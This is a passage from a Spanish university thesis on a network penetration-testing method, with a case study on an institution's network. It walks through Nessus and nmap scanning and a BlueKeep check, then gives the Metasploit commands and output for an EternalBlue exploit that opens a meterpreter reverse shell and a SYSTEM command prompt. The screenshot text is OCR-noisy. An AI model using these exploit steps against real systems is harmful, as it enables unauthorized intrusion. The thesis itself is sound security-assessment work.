Para elaborar el diagrama de red se ha utilizado la herramienta en linea draw.io. Se ha
procedido a integrar los equipos de red encontrados, los hosts, y un equipo de grabacion de

video digital, esquematizando la disposicion Idgica de la infraestructura.
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Figura 10. Diagrama de red. Fuente: Autor.

El diagrama (figura 10) nos muestra las direcciones ip, el tipo de dispositivo, el sistema
operativo y los puertos activos en cada host, por lo que resulta una herramienta de consulta
rapida y util. Aunque no se lo ha hecho en este caso debido a la gran cantidad de puertos
activos, se recomienda también incluir los servicios y versiones que se ejecutan en cada

puerto.
> Escaneo de vulnerabilidades

Para el escaneo de vulnerabilidades vamos a hacer uso de las herramientas OenVAS y
Nessus. La instalacion y configuracion inicial de las herramientas sale del alcance del
presente trabajo por lo que vamos a empezar por la creacion y configuracion de un escaner

de vulnerabilidades basico en cada una.

En el caso de Nessus, iniciamos sesion en la herramienta y seleccionamos la opcién basic

network scan dentro del apartado new scan y configuramos como se muestra en la figura 11.
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New Scan / Basic Network Scan
« Back to Scan Templates
Settings Credentials Plugins
BASIC ~
Name ESCANER DE VULNERABILIDADES
General
Schedule
Description TESTTESIS
Notifications
DISCOVERY
ASSESSMENT Folder TESIS v
REPORT
Targets 10.0.10.1, 10.0.10.5, 10.0.10.10, 10.0.10.12, 10.0.10.16, 10.0.10.26,
ADVANCED 10.0.10.32, 10.0.10.33, 10.0.10.96, 10.0.10.149, 10.0.10.161, 10.0.10.170,
10.0.10.172, 10.0.10.174, 10.0.10.177, 10.0.10.1748, 10.0.10.184,
10.0.10.185,
Upload Targets Add File

Figura 11. Configuracion basica Nessus. Fuente: Autor

Le damos un nombre, una descripcién, agregamos las direcciones de los hosts encontrados

en el escaneo de red y seleccionamos la seccion Discovery.

New Scan / Basic Network Scan

< Back to Scan Templates

Settings Credentials Plugins
BASIC

Part scan (all ports -
DISCOVERY . Scan Type (all ports)
ASSESSMENT
REPORT General Settings:

Always test the local Nessus host

ADVANCED

Use fast network discovery

Port Scanner Settings:

Scan all ports (1-65535)

Use netstat if credentials are provided

Use SYN scanner if necessary

Figura 12. Configuracién Discovery Nessus. Fuente: Autor.
Configuramos el escaneo para todos los puertos (figura 12) y el resto de configuraciones las

dejamos por defecto, guardamos el test, y lo ejecutamos desde la seccion My scans.

Una vez concluido el test, podemos ingresar a los resultados desde la misma seccion y

seleccionando el test generado, para continuar con la siguiente fase.
4.4 Andlisis de vulnerabilidades

Esta fase comprende un andlisis minucioso de cada vulnerabilidad encontrada. Al igual que
en la fase anterior, en esta fase utilizaremos los ejemplos mas representativos para

demostracion.
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¢ Back to TESIS

Hosts 15

Filter -

Host

10.0.10.184

10.0.10.185

10.0.10.16

10.0.10.177

10.0.10.32

10.0.10.26

10.0.10.170

10.0.10.161

10.0.10.12

Vulnerabilities | 57

ESCANER DE VULNERABILIDADES

Vulnerabilities

Remediations 4

Motes 1

VPR Top Threats ()

Configure

History 2

Launch -~

Scan Details

Policy:

Status:
Severity Base:
Scanner’

Start:

End:

Elapsed:

Vulnerabilities

Report =

Basic Network Scan
Completed
CVSSv3.0

Local Scanner
Today at 8:56 AM
Today at 10:03 AM
an hour

@ Critical
High
Medium

& Low

® Info

Export ¥

Figura 13. Resultados Nessus por host. Fuente: Autor.

Nessus nos permite mostrar los resultados de varias formas. En la figura 13, de forma visual

podemos ver el numero de vulnerabilidades encontradas, identificadas por severidad en cada

host analizado. Al seleccionar un host, se nos muestran las vulnerabilidades encontradas en

ese host en patrticular, clasificadas por grupo de amenaza.

< Back to TESIS

Filter =

Sev

=
=

ESCANER DE VULNERABILIDADES

Name

15 OpenSSL (Multiple Issues)

15 PHP (Multiple Issues)

a Apache HTTP Server (Multiple Is.

& Microsoft Windows (Multiple Issu. ..

(SR Unsupported Web Server Detection

15 SSL (Multiple Issues)

2 SSL (Multiple Issues)

SSL Certificate Signed Using Weak H...

Hosts | 15 Vulnerabilities 57 Remediations 4 Notes 1 VPR Top Threats

Family

Web Servers

CGl abuses

Web Servers

Windows

Web Servers

General

Service detection

General

Configure

Count

120

120

72

33

172

16

Launch =

Scan Details

Disable Groups  plicy:

tatus
weverity Base:
Scanner:
Start
End:
Elapsed:

Vulnerabilities

Report  ~

Basic Network Scan
Completed
CVSSv3.0

Local Scanner
Today at 8:56 AM
Today at 10:03 AM

an hour

® Critical
High
Medium

® Low

® Info

Export ~

Figura 14. Resultados Nessus por grupo. Fuente: Autor.

Para continuar con la implementacion del método, deshabilitamos la agrupacion de amenazas

(ver figura 14) y ordenamos por severidad, empezando por las de categoria critica.
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ESCANER DE VULNERABILIDADES Configure | Aucit Teail
< Back to TESIS
Hosts 15 Vulnerabilities 136 Remediations 4 Notes |1 VPR Top Threats (J History |2
Filter =
Sev Name Family Count
Apache 2.2.x<2.2.33-dev/24x<2.. Web Servers 8
Apache 2.2.x < 2.2.34 Multiple Vulner...  Web Servers 8
OpensSSL Unsupported Web Servers 8
PHP 5.3.x < 5.3.15 Multiple Vulnerabil...  CGl abuses g
PHP Unsupported Version Detection CGl abuses 8

Launch = Report = Ex

Scan Details

Policy: Basic Network Scan
Status Completed

Severity Base: CVSS v3.0
Scanner: Local Scanner
Start: Today at 8:56 AM
End: Today at 10:03 AM
Elapsed: an hour

Vulnerabilities

Figura 15. Resultados Nessus por nivel de riesgo. Fuente: Autor.

Accedemos a la primera vulnerabilidad en la lista (figura 15), podemos ver que es de

severidad Critica.

Apache 2.2.x < 2.2.33-dev / 2.4.x < 2.4.26 Multiple Vulnerabilities

Description
According to its banner, the version of Apache running on the remote host is 2.2.x prior to 2.2.33-dev or 2.4.x prior to 2.4.26. It is,
therefore, affected by the following vulnerabilities

- An authentication bypass vulnerability exists due to third-party modules using the ap_get_basic_auth_pw() function outside of the

authentication phase. An unauthenticated, remote attacker can exploit this to bypass authentication requirements. (CVE-2017-3167)

- A NULL pointer dereference flaw exists due to third-party module calls to the mod_ssl ap_hook_process_connection() function during an
HTTP request to an HTTPS port. An unauthenticated, remote attacker can exploit this to cause a denial of service condition.|(CVE-2017-

- ANULL pointer dereference flaw exists in mod_http2 that is triggered when handling a specially crafted HTTP/2 request. An
unauthenticated, remote attacker can exploit this to cause a denial of service condition. Note that this vulnerability does not affect 2.2.x
(CVE-2017-7659)

- An out-of-bounds read error exists in the ap_find_token() function due to improper handling of header sequences. An unauthenticated,
remote attacker can exploit this, via a specially crafted header sequence, to cause a denial of service condition.
(CVE-2017-7668)|

- An out-of-bounds read error exists in mod_mime due to improper handling of Content-Type response headers. An unauthenticated,
remote attacker can exploit this, via a specially crafted Content-Type response header, to cause a denial of service condition or the
disclosure of sensitive information

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

Plugin Details

Severity: Critical

1D: 100995

Version: 116

Type: combined
Family: Web Servers
Published June 22, 2017
Modified: January 28, 2021

Risk Information

Risk Factor: High
CVSS v3.0 Base Score 9.8

CVS5 v3.0 Vector:
CVSS:3.0/AV:NFAC: LIPRN/ULN/SWIC HILHIAH

CVSS v3.0 Temporal Vector
CVSS5:3.0/E:U/RL:O/RCIC

CV5S5 v3.0 Temporal Score: 8.5
CV5S5 v2.0 Base Score: 7.5

CVSS5 v2.0 Temporal Score: 5.5
CVS5S5 v2.0 Vector:
CVSS2#AVN/AC:L/AUNIC: P/ILRIAP

CVSS v2.0 Temporal Vector
CVS5S52#E:U/RL.OF/RC:C

Figura 16. Nessus - Informacion vulnerabilidad Apache. Fuente: Autor.

La figura 16 nos muestra todas las amenazas a las que esta expuesto este equipo, las mismas

gue podemos buscar en bases de datos o herramientas como searchsploit 0 metasploit

framework con el fin de validar su aplicabilidad en este caso, tomando en cuenta las versiones

del sistema operativo y el servicio que se encuentra vulnerable.
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STATE SERVICE VERSION
open http Apache httpd 2.2.21 ((Win32) mod_ss1/2.2.21 OpenSSL/1.@.@e PHP/5.3.8 mod_perl/2.8.4 Perl/v5.10.1)
40 | _http-server-header: Apache/2.2.21 (Win32) mod_ss1/2.2.21 OpenS5L/1.@.8e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1
41 | http-title: Access forbidden!
42 | _Requested resource was http://10.0.10.184/xampp/
43 135/tcp  open msrpc Microsoft Windows RPC
open netbios-ssn Microsoft Windows netbios-ssn
45 443/tcp  open  ssl/https?
46 | ssl-cert: Subject: commonName=localhost
47 | Not valid before: 2009-11-10T23:48:47
48 |_Nnt valid after: 2019-11-08T23:48:47
40 |_ssl—date: 2021-08-10T21:09:24+00:00; -65 from scanner time.
50 | sslv2:
SSLv2 supported
ciphers:
SSL2_RC2_128_CBC_WITH_MDS
SSL2_RC2_128_CBC_EXPORT4®_WITH_MD5
SSL2_DES_192_EDE3_CBC_WITH_MD5
SSL2_RC4_128_WITH_MD5
SSL2_RC4_128_EXPORT40_WITH_MDS
SSL2_DES_64_CBC_WITH_MD5
SSL2_IDEA_128_CBC_WITH_MDS
60 445/tcp  open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: (&
61 3306/tcp open mysql MysdL 5.0.21-community-nt
62 | mysql-info: <

Figura 17. Escaneo de puertos nmap. Fuente Autor.

Continuando con el hallazgo, se procede a realizar la bUsqueda respectiva de esta
vulnerabilidad y se encuentran varios exploits en las herramientas Metasploit Framework y
searchsploit, pero ninguno que se aplique a nuestras condiciones, las que podemos ver en la
figura 17 (apache y mod_ssl 2.2.21, PHP 5.3.8, sistema operativo Windows). En la figura 18
podemos ver una lista de productos afectados por la vulnerabilidad conocida CVE-2017-3167,

ningun sistema Windows estd incluido.

- Products Affected By CVE-2017-3167
# Product Type WVendor Product WVersion Update Edition Language
1 application  Apache Hip Server E E . . Version Details vulnerabilities
2 os Apple  Mac Os X - - - - wersion Details Wulnerahbilities
3 os Dehian  Debian Linw a0 E . . Version Details vulnerabilities
s os Dehian  Debian Linw a0 E . . Version Details vulnerabilities
5 Application  Metapp Clustered Data Ontap - E . . Version Details vulnerabilities
& Application  Metapp  Oncommand Unified Manager - E . . Version Details vulnerabilities
7 Application  Metapp  Storagegrid - E . . Version Details vulnerabilities
8 Application  Oradle  Secure Global Desktop 53 E . . Version Details vulnerabilities
8 Os Redhat Enterprise Linux Desktop 6.0 - - - Version Details Vulnerabilities
10 o5 Redhat Enterprise Linux Desktop 7.0 - * - wersion Details Wulnerahbilities
11 oS5 Redhat Enterprise Linux Eus 6.7 - - - Version Details Vulnerabilities

Figura 18. Resultados CVE - productos afectados. Fuente: Autor.

Al no encontrar un exploit adecuado y siguiendo con el flujo, seleccionamos la siguiente
vulnerabilidad en la lista, la cual, como se observa en la figura 19, si afecta a sistemas
Windows.
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ESCANER DE VULNERABILIDADES / Plugin #125313

Configure  Audit Trail Launch = Report Export
< Back to Vulnerabilities
Vulnerabilities 121

Microsoft RDP RCE (CVE-2019-0708) (BlueKeep) (uncredentialed check) Plugin Detalls
Description Severity: Critical
The remote host is affected by a remote code execution vulnerability in Remate Desktop Pratocol (RDP). An unauthenticated, remote D 125313
attacker can exploit this, via a series of specially crafted requests, to execute arbitrary code Version: 121

Type: remote
Solution Family: Windows
Microsoft has released a set of patches for Windows XP, 2003, 2008, 7, and 2008 R2. Published May 22, 2019

Modified: July 12, 2021
See Also
hittp:/, nessus.org/u?s577af692 Risk Information

htp:/ nessus.org/u?8ede0b74

Risk Factor: Critical
CVSS v3.0 Base Score 9.8

Output CVSS v3.0 Vector
CVSS5:3.0/AV:N/ACL/PRN/ULN/SWIC: HIHIAH
No output recorded. CVSS v3.0 Temporal Vector
CVSS3.0/EH/RL:O/RCIC
Port Hosts CV/SS v3.0 Temporal Score: 9.4

CVS55 v2.0 Base Score: 10.0
CVSS v2.0 Temporal Score: 8.7
CVSS v2.0 Vector

3389 / tcp / msrdp 10.0.10.184

Figura 19. Nessus - Informacion vulnerabilidad Bluekeep. Fuente: Autor.

Haciendo una busqueda rapida en metasploit framework, encontramos un auxiliar que
determina si el host vulnerable, es de hecho explotable por esta vulnerabilidad. Para ello,
abrimos la consola de metasploit framework con el comando msfconsole, seleccionamos el

moédulo adecuado, configuramos los parametros y ejecutamos (ver figura 20).

msfé > use auxiliary/scanner/rdp/cve_2019_0708_bluekeep

msf6 auxiliary( ) > set rhosts 10.0.10.184
rhosts => 10.0.10.184

msf6 auxiliary( ) > run

[+] 10.0.10.184:3389 - The target is vulnerable. The target attempted cleanup of the in
correctly-bound MS_T120 channel.

10.0.10.184:3389 - Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed
msf6 auxiliary( ) > l

Figura 20. Metasploit Framework - ejecucion de Auxiliar. Fuente: Autor.

El resultado de la prueba demuestra que el host cumple todas las condiciones para su
explotacion. El exploit bluekeep esta disponible para su descarga en el sitio exploit-db.com al
igual que en otras bases de datos de vulnerabilidades. Basta con descargarlo, configurar sus
parametros y ejecutarlo para ocasionar un ataque DOS al host vulnerable, razén por la que
no se procedio con la explotacién. Recordemos que lo que buscamos es la obtencién de un
Shell remoto y no ocasionar fallos a la operacion normal de los equipos. Procedemos a

documentar el importante hallazgo para incluirlo en el reporte final.
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Ya que no hemos conseguido un Shell remoto, continuamos con la siguiente vulnerabilidad

encontrada:

ESCANER DE VULNERABILIDADES / Plugin #97833

« Back to Vulnerabilities

Hosts 15 Vulnerabilities 136 Remediations 4 Notes 1 VPR Top Threats Q History 2

MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (...

Description
The remote Windows host is affected by the following vulnerabilities

(CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERG Y]are four of multiple Equation Group
vulnerabilities and exploits disclosed on 2017/04/14 by a group known as the Shadow Brokers. WannaCry / WannaCrypt is a

Petya is a ransomware program that first utilizes CVE-2017-0199, a vulnerability in Microsoft Office, and then spreads via
ETERNALBLUE

Configure Audit Trail

- Multiple remote code execution vulnerabilities exist in Microsoft Server Message Block 1.0 (SMBv1) due to improper handling of certain
requests. An unauthenticated, remote attacker can exploit these vulnerabilities, via a specially crafted packet, to execute arbitrary code.

- An information disclosure vulnerability exists in Microsoft Server Message Block 1.0 (SMBv1) due to improper handling of certain
requests. An unauthenticated, remote attacker can exploit this, via a specially crafted packet, to disclose sensitive information. (CVE-

ransomware program utilizing the ETERNALBLUE exploit, and EternalRocks is a worm that utilizes seven Equation Group vulnerabilities

Launch = Report = Export

Plugin Details

Severity: High

D! 97833

Version: 124

Type: remote

Family: Windows
Published! March 20, 2017
Modified: October 15, 2020

Risk Information

Risk Factor: High
CVSS v3.0 Base Score 8.1

CVSSv3.0 Vector:
CVS5:3.0/AV:N/ACH/PRIN/ULN/S UIC H/ITHIAH

Figura 21. Nessus - Informacion vulnerabilidad Eternalblue 1.

Fuente: Autor.

Hemos encontrado una vulnerabilidad bastante conocida dentro del protocolo SMB, esta vez,

presente en el host 10.0.10.16 (figura 21).

https:/igithub.com/stamparm/EternalRocks/
http:fiwwv.nessus.org/u?59dbsbsh

Output

Sent:

0PEEEE54TT534d4225 1803c 8 2 8 111
BOFFFFfr T 4 5400020023 11180005c0E500049085008
45805cbPE0800000

Recelived:
Tf534d4225050200c09803¢c8! Gadl 1000008

Port Hosts

445 tep i cifs 10.0.10.16

Exploitable With

Metasploit (MS17-010 EternalBlue SMB Remote
Windows Kernel Pool Corruption)

CANVAS ()

Core Impact

Reference Information

EDB-ID: 41891, 41987

MSFT: MS17-010

BID: 96703, 96704, 96705, 96706, 96707, 96709
IAVA: 2017-A-0065

MACYD. ARI9090 an10099 anio9oaa anianie

Figura 22. Nessus - Informacion vulnerabilidad Eternalblue 2. Fuente: Autor.

Como podemos ver en la figura 22, la herramienta Nessus nos indica que el host es explotable

por la vulnerabilidad MS17-010, més conocida como eternalblue y que ademas permite la

ejecucion remota de codigo.
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msf6 > search eternalblue

Matching Modules

Disclosure Date Rank 'k Description

0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average MS17-010 EternalBlue sme
Remote Windows Kernel Pool Corruption

1 exploit/windows/smb/ms17_818_psexec 2017-03-14 normal M517-81@ EternalRomance/E
ternalSynergy/EternalChampion SMB Remote Windows Code Execution

2 auxiliary/admin/smb/ms17_01@_command 2017-03-14 normal MS17-01@ EternalRomance/E
ternalSynergy/EternalChampion SMB Remote Windows Command Execution

3 auxiliary/scanner/smb/smb_ms17_010 normal MS17-01@ SMB RCE Detectio
n

4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 SMB DOUBLEPULSAR Remote C
ode Execution

Figura 23. Metasploit Framework - Busqueda Eternalblue. Fuente: Autor.

Procediendo a hacer el andlisis respectivo en Metasploit Framework, encontramos el exploit
msl17_010_eternalblue (figura 23) por lo que procedemos a la siguiente fase.

4.5 Explotacion

Seleccionamos el exploit con el comando use y configuramos los pardmetros necesarios para
su ejecucion. Podemos ver en la figura 24 que por defecto se configura el payload

reverse_tcp.

msf6 > use exploit/windows/smb/ms17 @10 eternalblue
Using configured payload windows/x64/meterpreter/reverse_tcp
msfe exploit( ) > set rhosts 10.0.10.16
rhosts => 10.0.10.16
msf6 exploit( ) > run

Started reverse TCP handler on 10.0.10.5%4: 4444
.0.10.16:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
1445 - Host is likely VULNERABLE to MS17-01@! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
1445 - Scanned 1 of 1 hosts (100% complete)
1445 - The target is vulnerable.
1445 - Connecting to target for exploitation.
1445 - Connection established for exploitation.
1445 - Target 0S selected valid for 05 indicated by SMB reply
1445 - CORE raw buffer dump (42 bytes)
1445 0x00000000 57 69 6e 64 6f 77 73 37 20 5@ 72 6f 66 65 73 Windows 7 Profes
1445 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 2@ 53 65 72 76 sional 7601 Serv
1445 0x00000020 69 63 65 20 50 61 63 20 31 ice Pack 1
1445 - Target arch selected valid for arch indicated by DCE/RPC reply
1445 - Trying exploit with 12 Groom Allocations.
1445 - Sending all but last fragment of expleit packet
1445 - Starting non-paged pool grooming
1445 - Sending SMBv2 buffers
1445 - Closing SMBvl connection creating free hole adjacent to SMBv2 buffer.
1445 - Sending finmal SMBv2 buffers.
1445 - Sending last fragment of exploit packet!
1445 - Receiving response from exploit packet
1445 ETERNALBLUE overwrite completed successfully (@xCo00e@eD)!
1445 - Sending egg to corrupted connection.
.0.10.16:445 - Triggering free of corrupted buffer.

sending stage (200262 bytes) to 10.0.10.16
[+] 10.9.10.16:445 - =-=- =
[+] 10.0.10.16:445
[+] 10.0.10.16:445 -

Meterpreter session 2 opened (10.0.10.54:4444 -> 10.0.10.16:5389@) at 2021-08-12 12:10:01 -0500

200 0000000000000 e e

meterpreter > pwd

Figura 24. Metasploit Framework - Seleccién de Exploit. Fuente: Autor.
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Dependiendo de las condiciones y sobre todo cuando el payload por defecto no se ejecuta
con éxito, se puede cambiar el tipo de payload. En esta ocasion, el payload ha tenido éxito
(ver figura 24) y hemos obtenido una sesion de Meterpreter. A continuacion, se ha procedido

a verificar informacion basica de la sesidn y a obtener una sesién Shell normal (ver figura 25):

meterpreter > pwd

C:\Windows\system32

meterpreter > shell

Process 4760 created.

Channel 1 created.

Microsoft Windows [Versi€nh 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>ipconfig
ipconfig

Configuraci€n IP de Windows

Adaptador de Ethernet Conexi€h de #rea local:

Sufijo DNS espec€fico para la conexi€n.

Venculo: direcci€n IPv6 local. . . : fe80::fd8e:19af:836a:bc39%10
Direccién IPv4. . . . . . . . . . . . . . ! 10.0.10.16

M€scara de subred . . . . . . . . : 255.255.255.0

Puerta de enlace predetermipada . . . . . : 10.8.10.1

Figura 25. Metasploit Framework - Sesién de meterpreter. Fuente: Autor.

De aqui que el auditor puede crear conexiones adicionales, cambiar configuraciones y realizar

actividades de post explotacion y escalamiento de privilegios.

Ya que hemos conseguido una explotacion exitosa, notificamos a la DTIC y Direccién y
procedemos a documentar la ejecucion de la fase y los hallazgos encontrados para incluirlos

en el reporte final.
46 Reporte

El reporte final es extenso y contiene informacion sensible que de ser publicada podria llegar
a comprometer la seguridad de la infraestructura y activos digitales de la organizacion, por lo
gue el mismo seré entregado directamente a la DTIC y a la Direccién Provincial para gestion
interna de la institucién. Los pasos para la elaboracion adecuada del reporte del test de

penetracién, se encuentran en el capitulo anterior.
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Capitulo V

Andlisis de resultados

Tras la implementacion del caso de estudio, se ha podido comprobar que el método
desarrollado en el presente trabajo, es Util como herramienta de pruebas de penetracion. El
método ha provisto las herramientas necesarias para agilizar los procesos ejecutados en cada

fase, optimizando el consumo de recursos y minimizando los tiempos.

Comparado con las metodologias analizadas, el método propuesto es simple pero efectivo.
Ademads, a diferencia de la mayoria, considera una fase de planificacion, previa a la ejecucion
del test. La misma, a pesar de ser modesta, ha sido de gran utilidad aportando la informacién
necesaria para proveer la planificacion necesaria y garantias para la ejecucion del test, en un

ambiente seguro tanto para el cliente como para el auditor.

La ejecucion del test de inicio a fin, desde su planificacion hasta su explotacién y elaboracion
del reporte final, ha tomado alrededor de 20 horas, proporcionando un promedio de 4 horas
por fase. Este tiempo variara en cada caso, dependiendo del tamafio de la infraestructura a
ser analizada y la experiencia del auditor.

Los resultados obtenidos en la ejecucion de la prueba demuestran que, en la institucion, la
seguridad de la informacién no es un tema prioritario, seguramente por desconocimiento del
riesgo al que estan expuestos. Esperemos que el caso sea aislado y no se generalice para la

mayoria de entidades del sector publico.

El numero de vulnerabilidades encontradas es alarmante (ver figura 26) sobre todo si se
considera el tamafio de la infraestructura y el alcance del test realizado. Las amenazas de
severidad Critica demuestran una infraestructura altamente vulnerable que, de ser
comprometida, pondria en riesgo toda la informacién y la continuidad de los procesos de la

institucion.
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Hosts 15 Vulnerabilities | 136 Remediations 4 MNotes 1 VPR Top Threats (J History 2
Filter =
Host Vulnerabilities Scan Details
10.0.10.184 I 17 Policy: Basic Network Scan
Status Completed
Scanner: Local Scanner
10.0.10.16 I Start August 11 at 8:56 AM
End: August 11 at 10:03 AM
10.0.10.177 I Elapsed: an hour
Vulnerabilities
High
® Low
® Info
10.0.10.161 | 50 I

Figura 26. Resultados test Nessus. Fuente: Autor.

Se pretende también con la implementacién del test, el reporte sirva para la subsanacion de

los riesgos encontrados y se establezca una cultura de seguridad en la organizacion.

La explotacion fue relativamente facil. Esto seguramente al alto nUmero de vulnerabilidades
presentes en la infraestructura. También se comprobd que la institucion continGa utilizando
software desatendido, como el caso del sistema operativo Windows 7. Esto quiere decir que

el software utilizado ya no tiene actualizaciones de seguridad y por lo tanto es vulnerable.

Finalizando, para una adecuada implementacion del método, se requiere que el auditor posea
conocimientos basicos sobre ciberseguridad y ethical hacking, ya que, de no hacerlo, la
ejecucion del test resultaria compleja y muy probablemente tienda al fracaso. El presente
trabajo aborda los temas necesarios para proveer un conocimiento bésico y llevar a cabo una

implementacion exitosa del método propuesto.
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Capitulo VI

Conclusiones y trabajos futuros

6.1 Conclusiones

Los resultados de la implementacion del caso de estudio, nos dan una clara idea de la
situacion en temas de seguridad de la informacion, dentro de las empresas pequefias. Se
comprobd que las mismas, a pesar de que, si cuentan con soluciones basadas en software o
hardware como antivirus y firewalls, éstas proporcionan un falso sentido de seguridad. Si a
esto le adicionamos el desconocimiento en las amenazas externas y sus modos de operacién,
provoca que los responsables de infraestructuras tecnoldgicas pequefias, entren en una zona
de confort en la que estan practicamente a la espera de un ataque, poniendo en riesgo todos
los activos digitales de su empresa. En este punto es necesario considerar a la seguridad de
la informacién como una solucion integral que abarque todos los aspectos tanto técnicos
como no técnicos de una empresa, como infraestructura, personal, politicas, etc., y no como

la suma de herramientas que trabajan de forma aislada.

La bibliografia revisada proporciono una éptica ampliada de la ejecucion de pruebas de
penetracion, sus fases y las distintas metodologias entre las que se enmarca, permitiendo
diferenciar cada uno de sus enfoques y obteniendo informacién valiosa que fue el sustento

de lo propuesto en el presente trabajo.

Al igual que las metodologias analizadas, el método propuesto cubre todas las fases
correspondientes a una prueba de penetracion, con la diferencia de que esta orientado al
analisis de red, por lo que permite ser especifico en sus requerimientos, de esta manera se
evita la generalizacion y se minimiza la ambigtedad en la comprensién de criterios por parte

del auditor. También provee las herramientas para su ejecucion.

En este sentido, el presente trabajo de titulacién ha cumplido con los objetivos propuestos,
ofreciendo una herramienta completa y sencilla en su ejecucién. La aplicacion del caso de
estudio nos permiti6 comprobar su efectividad al analizar una infraestructura tecnologica,
encontrar sus vulnerabilidades y darles seguimiento hasta conseguir una explotacién exitosa.
El reporte final nos da una idea de los riesgos a los que esta expuesto la infraestructura, a la
vez que compromete a la Direccion de Tecnologias a subsanar las mismas y a tomar acciones
para prevenir riesgos futuros o mitigar su impacto. Todo esto, en menos de 20 horas de

trabajo.

La brecha de profesionales en el &rea de seguridad de la informacion se hace tangible cuando

encontramos infraestructuras tan desatendidas que demuestran el poco conocimiento de los
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profesionales a cargo, y que se traduce en empresas susceptibles a todo tipo de ataques. La
seguridad de la informacion deberia ser un tema de interés para todo tipo de empresas, y la
socializacion de este tipo de temas a través de talleres y capacitaciones a su personal,

generando una cultura de seguridad, una prioridad.

Se considera que el método propuesto puede ayudar a cubrir, de cierta forma, el déficit de
profesionales de ciberseguridad, ya que es una herramienta simple, pero a la vez efectiva,
requiere de pocos recursos (humanos, econémicos y tiempo) y es relativamente facil de
ejecutar. Como en el caso de cualquier auditoria de seguridad, es muy importante
implementarla de manera periddica, sea semestral 0 anual, de esta forma podemos llevar un
control de la efectividad de las acciones tomadas y soluciones provistas para los riesgos
encontrados. Lo mas beneficioso de todo esto, es que se establece una cultura de seguridad

en las empresas, sin importar su tamafio.
6.2 Trabajos futuros

Ya que el presente trabajo estd orientado al andlisis de red (network assessment), como
trabajos futuros podemos considerar la creacion de métodos paralelos, cambiando su
orientacion o enfoque, por ejemplo, se podria proponer un método de pentest orientado
Unicamente a paginas web (webapp assessment), con orientacion al host (host assessment),

0 a bases de datos.

Cambiando un poco la linea de investigacion, seria interesante la elaboracion de un método
orientado hacia las personas. En este caso se propondria un modelo para pruebas de

penetracién con el uso Unicamente de técnicas de ingenieria social.

Martin Fernando Gonzalez Palomeque Pagina 100



55% UNIVERSIDAD DE CUENCA

s

+

Bibliografia

Breve historia de los “hackers” y sus andanzas. (2011, junio 9). BBC News Mundo.
https://www.bbc.com/mundo/noticias/2011/06/110609_tecnologia_breve_historia_hackers_n
c

Chéavez Cruz, G., Campuzano Vasquez, J., & Betancourt Gonzaga, V. (2018). Las micro,
pequefias y medianas empresas. Clasificacion para su estudio en la carrera de Ingenieria
en Contabilidad y Auditoria de la Universidad Técnica de Machala. Conrado, 14, 247-255.

Choo, K.-K. R. (2011). The cyber threat landscape: Challenges and future research
directions. Computers & Security, 30(8), 719—-731.
https://doi.org/10.1016/j.cose.2011.08.004

Constituciéon del Ecuador (2008). 218.

Diogenes, Y., & Ozkaya, E. (2018). Cybersecurity ??? Attack and Defense Strategies:
Infrastructure security with Red Team and Blue Team tactics. Packt Publishing Ltd.

Ec Council. (2020). CEH Ethical Hacking and Countermeasures v11.

Figueroa-Suérez, J. A., Rodriguez-Andrade, R. F., Bone-Obando, C. C., & Saltos-Gémez, J.
A. (2018). La seguridad informatica y la seguridad de la informacién. Polo del Conocimiento,
2(12), 145-155. https://doi.org/10.23857/pc.v2i12.420

Gasca Hurtado, G. P. (2010). ESTUDIO DE SIMILITUD DEL PROCESO DE GESTION DE
RIESGOS EN PROYECTOS DE OUTSOURCING DE SOFTWARE: UTILIZACION DE UN
METODO. Revista Ingenierias Universidad de Medellin, 9(17), 12.

Gonzalez, R. (2019, junio 20). Estiman en $87 mil 940 millones pérdidas anuales por
ataques cibernéticos | La Prensa Panama [Periodico en linea]. La Prensa.
https://www.prensa.com/economia/Estiman-millones-perdidas-anuales-
ciberneticos 0 5331966763.html

Greavu Serban, V., & Serban, O. (2014). Social Engineering A General Approach.
Informatica Economica, 18(2/2014), 5-14.
https://doi.org/10.12948/issn14531305/18.2.2014.01

Guillen Zafra, J. L. (2017). Introduccion al pentesting. 66.
ISECOM. (2010). OSSTMM 3. www.isecom.org/OSSTMM.3.pdf

Israel. (2020, abril 16). Los tipos de ciberatagues a empresas mas frecuentes. Viewnext.
https://www.viewnext.com/tipos-de-ciberataques-a-empresas/

Krombholz, K., Hobel, H., Huber, M., & Weippl, E. (2015). Advanced social engineering
attacks. Journal of Information Security and Applications, 22, 113-122.
https://doi.org/10.1016/j.jisa.2014.09.005

Martin Fernando Gonzalez Palomeque Pagina 101



55% UNIVERSIDAD DE CUENCA

s

+

MAP | Kaspersky Cyberthreat real-time map. (s/f). MAP | Kaspersky Cyberthreat Real-Time
Map. Recuperado el 14 de agosto de 2021, de https://cybermap.kaspersky.com

Marti, R., & Lloret, J. (2016). Desarrollo e implementacion practica de un PENTEST.
https://riunet.upv.es/handle/10251/70164

Microsoft. (s/f). Andlisis del modelo de amenazas—BizTalk Server.
https://docs.microsoft.com/es-es/biztalk/core/threat-model-analysis

Reporte Ciberseguridad 2020: Riesgos, avances y el camino a seguir en América Latina y el
Caribe | Publications. (s/f). Recuperado el 14 de agosto de 2020, de
https://publications.iadb.org/publications/spanish/document/Reporte-Ciberseguridad-2020-
riesgos-avances-y-el-camino-a-seguir-en-America-Latina-y-el-Caribe.pdf

Samonas, S., & Coss, D. (2014). THE CIA STRIKES BACK: REDEFINING
CONFIDENTIALITY, INTEGRITY AND AVAILABILITY IN SECURITY. 25.

Santiago, E. J., & Allende, J. S. (2017). Riesgos de ciberseguridad en las empresas.
Tecnologia y desarrollo, 15, 10.

Santo Orcero, D. (2018). Pentesting con Kali: Aprende a dominar la herramienta Kali para
hacer tests de penetracion y auditorias activas de seguridad.

